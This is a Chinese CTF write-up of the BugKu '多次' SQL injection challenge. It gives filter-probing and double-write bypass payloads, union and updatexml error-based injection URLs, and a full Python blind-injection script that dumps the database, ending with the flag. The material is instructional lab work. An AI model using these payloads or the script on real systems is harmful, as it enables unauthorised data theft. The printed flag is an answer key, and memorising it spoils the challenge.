BugKu-多次

多次

原题链接

http://120.24.86.145:9004

分析

• 单引号出错
• 加上%23，发现不出错了
• 加上' and 1=1%23
  又出错了，应该是过滤了

这里学习到一个新知识，如何判断过滤了哪些字符？

采用异或注入。
在id=1后面输入 '⁽⁰⁾'
发现不出错，那就将0换成1=1
如果出错，那就是成功了

如果括号里面的判断是假的，那么页面就会显示正确
那么同理，
如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确，那就证明length(‘union’)==0的，也就是union被过滤了

同样道理，测试出过滤字符 select,union,and,or

可以采用双写绕过。测试payload：

http://120.24.86.145:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23

页面结果
2

database:

?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

 web1002-1

tables:

注意information里面有or，要双写过滤
?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() #

页面结果
flag1,hint

columns:

?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23

页面结果
flag1,address

dump:

?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23

页面结果
usOwycTju+FTUUzXosjr

?id=-1' ununionion seselectlect 1, group_concat(address) from flag1 %23

页面结果
./Once_More.php
下一关地址

---

进入链接

测试?id=1'
报错

My Id =1'
Nobody!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

我还是一样的办法测试过滤

union substr sleep

双写无法绕过，大小写无法绕过，/*！*/无法绕过。
更换函数，利用updatexml报错。

payload

# 查表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 结果
Nobody!
XPATH syntax error: '~class,flag2~'

# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 结果
Nobody!
XPATH syntax error: '~flag2,address~'

# 查数据
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
# 结果
Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

本题也可以用布尔盲注来做，毕竟有回显和明显的TF标志，因为碰巧也在学习盲注，做了一下，这里附上脚本:

import requests

def length_schema():
    for x in range(1,20):
        url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20length(database())='+str(x)+'%23'
        s = requests.get(url)
        if "Hello" in s.text:
            print 'schema_length is :' + str(x)
            global a
            a = int(x)
            break
        
def schema_name():
    x = 0
    name = ''
    while x < a:
        x = x + 1
        temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' 
        for i in temp:
            url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20mid(database(),'+ str(x) +',1)=%27'+str(i)+'%27%23'
            s = requests.get(url)
            if "Hello" in s.text:
                name = name + str(i)

    print 'sechma_name is :' + name
    global schema_name
    schema_name = name

def all():
    temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
    temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    for x in xrange(0,20):
        table_name = ''
        for y in xrange(1,20):
            key = 0
            for i in temp:
                url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27'+schema_name+'%27%20limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23'
                s = requests.get(url)
                if "Hello" in s.text:
                    key = 1
                    table_name = table_name + str(i)
            if key == 0:
                break
        if table_name == '':
            break
        print 'one of tables is:' + table_name
        for p in xrange(0,20):
            column_name = ''
            for q in xrange(1,20):
                key = 0
                for i in temp:
                    url_columns = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27'+schema_name+'%27%20and%20table_name=%27'+table_name+'%27limit%20'+str(p)+',1),'+str(q)+',1))=ascii(\''+str(i)+'\')%23'
                    s = requests.get(url_columns)
                    if "Hello" in s.text:
                        key = 1
                        column_name = column_name + str(i)
                if key ==0:
                    break
            if column_name == '':
                break
            print 'a column name of '+table_name+' is '+column_name
            for y in xrange(0,10):
                data = ''
                for z in xrange(1,20):
                    key = 0
                    for i in temp_data:
                        url_data = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20'+column_name+'%20from%20`'+schema_name+'`.'+table_name+'%20limit%20'+str(y)+',1),'+str(z)+',1))=ascii(\''+str(i)+'\')%23'
                        s = requests.get(url_data)
                        if "Hello" in s.text:
                            data = data + str(i)
                            key = 1
                    if key == 0:
                        break
                if data == '':
                    break
                print 'one data of '+schema_name+'.'+table_name+'\'s '+column_name+' is '+data

def main():
    length_schema()
    schema_name()
    all()
if __name__ == '__main__':
    main()

结果

schema_length is :9
sechma_name is :web1002-2
one of tables is:class
a column name of class is id
one data of web1002-2.class's id is 1
one data of web1002-2.class's id is 2
one data of web1002-2.class's id is 3
one data of web1002-2.class's id is 4
one data of web1002-2.class's id is 5
one data of web1002-2.class's id is 6
one data of web1002-2.class's id is 7
a column name of class is name
one data of web1002-2.class's name is TOM
one data of web1002-2.class's name is Jack
one data of web1002-2.class's name is Mack
one data of web1002-2.class's name is Jones
one data of web1002-2.class's name is James
one data of web1002-2.class's name is Fox
one data of web1002-2.class's name is Henry
one of tables is:flag2
a column name of flag2 is flag2
one data of web1002-2.flag2's flag2 is flag{Bugku-sql_6s-2
a column name of flag2 is address
one data of web1002-2.flag2's address is .
[Finished in 1620.8s]

flag

flag{bugku-sql_6s-2i-4t-bug}

知识点

报错注入，基本的过滤和绕过，布尔盲注